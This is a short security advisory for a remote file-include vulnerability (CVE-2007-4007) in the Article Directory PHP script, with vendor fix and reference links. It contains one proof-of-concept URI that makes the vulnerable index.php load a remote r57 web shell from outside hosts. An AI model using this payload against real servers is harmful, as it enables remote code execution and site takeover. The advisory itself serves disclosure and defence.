Article Directory Index.PHP Remote File Include Vulnerability

Bugtraq ID:	25042
Class:	Input Validation Error
CVE:	CVE-2007-4007
Remote:	Yes
Local:	No
Published:	Jul 24 2007 12:00AM
Updated:	May 07 2015 05:36PM
Credit:	mozi is credited with the discovery of this vulnerability.
Vulnerable:	Article Directory Article Directory 0
Not Vulnerable:

Article Directory Index.PHP Remote File Include Vulnerability

Article Directory is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Article Directory Index.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/index.php?page=http://www.example2.com/r57.txt?http://www.goodayelinks.com/index.php?page=http://www.nykola.ch/Sefirot_r0x/r57.txt?

Article Directory Index.PHP Remote File Include Vulnerability

Solution:
The vendor has released a fix. Please see the references for details.


Article Directory Article Directory 0

• Article Directory ArticleBeach-SecurityFix.zip
  http://articlebeach.com/ArticleBeach-SecurityFix.zip

Article Directory Index.PHP Remote File Include Vulnerability

References:

• Article Site Directory Script Web Site (Tracy Yates)
  
• Article Beach - Article Directory Security Issue Discovered (Article Directory)